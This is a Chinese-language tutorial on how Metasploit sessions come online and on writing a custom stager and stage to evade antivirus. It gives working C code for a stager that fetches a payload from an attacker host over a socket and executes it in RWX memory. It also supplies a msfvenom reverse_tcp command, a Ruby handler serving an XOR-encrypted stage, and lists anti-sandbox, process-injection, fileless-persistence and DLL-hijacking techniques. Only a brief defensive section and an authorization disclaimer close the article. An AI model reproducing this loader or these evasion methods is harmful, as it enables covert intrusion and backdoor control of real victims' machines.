msf上线原理与自写stage绕过杀软
字数 1836 2025-08-06 23:10:31
MSF上线原理与自写Stage绕过杀软技术分析
一、MSF上线基本原理
1. MSF攻击流程概述
Metasploit Framework (MSF) 的上线过程主要分为以下几个阶段:
- Payload生成阶段:使用msfvenom或其他模块生成恶意代码
- 监听阶段:设置handler等待连接
- 执行阶段:目标执行payload
- Stager下载阶段:下载完整的Stage
- 会话建立阶段:建立Meterpreter会话
2. Payload类型解析
MSF中常见的payload分为三类:
- Inline Payload:完整payload直接嵌入,如
windows/meterpreter/reverse_tcp - Stager Payload:小型引导代码,用于下载完整stage,如
windows/meterpreter/reverse_tcp - Stageless Payload:不依赖stager的完整payload,体积较大
3. Stager与Stage工作机制
Stager:
- 小型代码片段(通常几百字节)
- 负责建立与攻击者的连接
- 下载并加载完整的Stage
Stage:
- 完整的Meterpreter DLL
- 通过反射DLL注入技术加载到内存
- 提供完整的后门功能
二、自写Stage绕过杀软技术
1. 传统MSF Payload被检测的原因
- 特征码被安全厂商记录
- 网络通信模式有固定特征
- 内存操作行为有固定模式
- 反射DLL加载技术有特征
2. 自写Stage实现方案
2.1 自定义Stager编写
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define IP "192.168.1.100"
#define PORT 4444
void DownloadAndExecute() {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in server;
char *recvbuf;
DWORD dwLength;
DWORD dwTotalRead = 0;
LPVOID lpMemory;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = socket(AF_INET, SOCK_STREAM, 0);
server.sin_addr.s_addr = inet_addr(IP);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
connect(s, (struct sockaddr *)&server, sizeof(server));
// 接收stage长度
recv(s, (char*)&dwLength, 4, 0);
// 分配内存
lpMemory = VirtualAlloc(NULL, dwLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 下载stage
while(dwTotalRead < dwLength) {
int dwRead = recv(s, (char*)lpMemory + dwTotalRead, dwLength - dwTotalRead, 0);
if(dwRead <= 0) break;
dwTotalRead += dwRead;
}
// 执行stage
((void (*)())lpMemory)();
closesocket(s);
WSACleanup();
}
int main() {
DownloadAndExecute();
return 0;
}
2.2 自定义Stage编写
自定义Stage需要实现以下核心功能:
- 通信模块:加密通信、心跳机制
- 功能模块:文件操作、进程操作、系统信息收集等
- 注入模块:进程注入、内存操作
- 持久化模块:注册表、服务、计划任务等
3. 绕过杀软的关键技术
3.1 代码混淆技术
- 随机变量名和函数名
- 插入垃圾代码
- 控制流平坦化
- 字符串加密
3.2 内存操作技术
- 使用不常见的API组合
- 延迟内存分配
- 分块内存写入
- 内存权限动态修改
3.3 通信加密技术
- 自定义加密算法
- 动态密钥交换
- 协议伪装(如HTTP/S)
- 流量随机填充
3.4 反沙箱技术
- 环境检测(CPU核心数、内存大小、进程列表等)
- 延迟执行
- 用户交互检测
- 虚拟化环境检测
三、完整绕过方案实现
1. 环境准备
- Visual Studio (C/C++开发环境)
- Metasploit Framework
- 杀软测试环境(如Defender、360、火绒等)
2. 实现步骤
2.1 生成自定义Stage
-
使用msfvenom生成原始stage:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o /tmp/stage.bin -
对stage进行自定义修改:
- 修改导出函数名称
- 添加反调试代码
- 植入环境检测逻辑
- 修改通信加密方式
2.2 编写自定义Stager
- 实现基础socket通信
- 添加内存操作代码
- 植入反沙箱检测
- 编译为小型可执行文件
2.3 设置监听器
使用自定义的handler接收连接:
require 'socket'
def xor_crypt(data, key)
data.bytes.each_with_index.map { |b, i| b ^ key[i % key.size].ord }.pack('C*')
end
server = TCPServer.new 4444
key = "SecretKey"
loop do
client = server.accept
# 发送stage长度
stage = File.binread('stage.bin')
encrypted_stage = xor_crypt(stage, key)
client.write([encrypted_stage.size].pack('L'))
# 发送加密的stage
client.write(encrypted_stage)
client.close
end
3. 测试与优化
- 在虚拟机中测试基本功能
- 在杀软环境中测试检测率
- 根据检测结果调整:
- 修改代码特征
- 增强反检测能力
- 优化通信模式
四、高级绕过技术
1. 进程注入技术
- 经典DLL注入:使用
CreateRemoteThread和LoadLibrary - 反射DLL注入:避免写入磁盘
- Process Hollowing:替换合法进程内存
- APC注入:利用异步过程调用
2. 无文件技术
- 内存驻留:不写入磁盘
- 注册表存储:将payload分段存储在注册表中
- WMI持久化:使用WMI事件消费者
- COM劫持:利用COM组件加载机制
3. 合法进程劫持
- DLL劫持:利用DLL搜索顺序
- 二进制替换:修改合法程序的资源段
- 插件注入:向合法程序(如浏览器、办公软件)注入
五、防御检测建议
虽然本文介绍了绕过技术,但从防御角度,建议:
- 行为监控:关注异常内存操作和网络连接
- 流量分析:检测异常通信模式和加密流量
- 完整性检查:监控关键进程和DLL加载
- 多引擎扫描:使用不同厂商的安全产品
六、总结
通过自写Stage和Stager可以显著提高绕过杀软的成功率,关键在于:
- 避免使用已知特征
- 实现自定义的通信和加载机制
- 加入有效的反检测技术
- 持续测试和优化
这种技术需要扎实的编程功底和对操作系统底层机制的理解,建议在合法授权的环境中进行学习和测试。